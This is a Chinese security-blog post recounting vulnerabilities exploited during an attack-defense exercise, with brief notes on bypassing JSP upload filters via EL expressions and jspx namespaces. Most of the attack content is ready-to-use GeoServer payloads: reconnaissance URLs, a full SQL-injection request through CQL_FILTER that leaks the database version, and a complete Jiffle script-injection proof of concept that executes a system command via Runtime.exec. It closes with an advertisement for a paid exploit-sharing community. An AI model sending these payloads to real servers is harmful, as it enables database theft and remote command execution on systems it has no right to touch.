免责声明
由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。LK安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢大家!!!
常规的el表达式不会被ban,但出现太过复杂的利用语句就会被ban。奈何本人太菜,也尝试了各种绕过方法,均以失败告终。思路一:el表达式绕过。jsp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执
行,这样就可以绕过jsp的限制。
思路二:jspx利用命名空间绕过。因为jspx实际上是jsp的xml写法,所以继承了xml的所有特性,例如cdata跟html实体编码等,同样也继承了命名空间的特性。
案例2 geoserver系列漏洞
最近打比赛发现遇到这个系统的频率还挺高的,看了一下刚好前几个月爆出了一些新的漏洞,就顺便也总结一下。这次比赛遇到的是geoserver的SQL注入,关于这个漏洞的打法如下
在进行SQL注入漏洞复现之前,首先需要获取地理图层列表信息,这个信息是SQL注入payload中一个必需的参数。
通过以下路径访问,获取地理图层列表信息。
http://192.168.254.170:9999/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
<Name>
标签中的信息,就是地理图层列表。这里选择ne:populated_places
作为地理图层列表信息
接着访问以下路径,获取图层的属性名称
http://192.168.254.170:9999/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat=json
最终payload如下:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican City%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1Host: 192.168.254.170:9999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1p6q6kkghu4bg1x04chtdvm369Connection: close
查询到了数据库的版本信息
同时前段时间也爆出了geoserver存在远程命令执行漏洞,在这里也给出poc,但是似乎存在漏洞的资产不太多2333
访问/geoserver/ows这个接口,如果出现下图这种情况可能有戏。
POST /geoserver/wms HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/xml
Accept-Encoding: gzip, deflate
<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>
广告时间(别喷,混口饭吃哥哥们)
现在仅需100元/人,即可永久加入小密圈,与各位师傅一起学习(由于知识星球没有永久模块,付费资源已经搬迁到纷传社区)
优惠券
目前小密圈的资源
0/1day漏洞白盒分析
不仅仅是poc的信息 更有从白盒层面分析的样例 拒当脚本小子
部分展示
漏洞报告(edusrc/企业/CNVD)
在脱敏的情况下最大程度保证黑盒漏洞挖掘的完整性和思路性
目前圈子内不仅显于黑盒src挖掘,更有众多白盒挖掘报告
除此之外 圈子还提供以下付费资源
-
某ctf靶场账号
-
内部群在线专属答疑
-
与src/红队/代码审计大佬面对面交流
心动不如行动 想上车的朋友们速度联系啦
本人联系方式
原文始发于微信公众号(LK安全):记录某次攻防演练中几个有趣的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论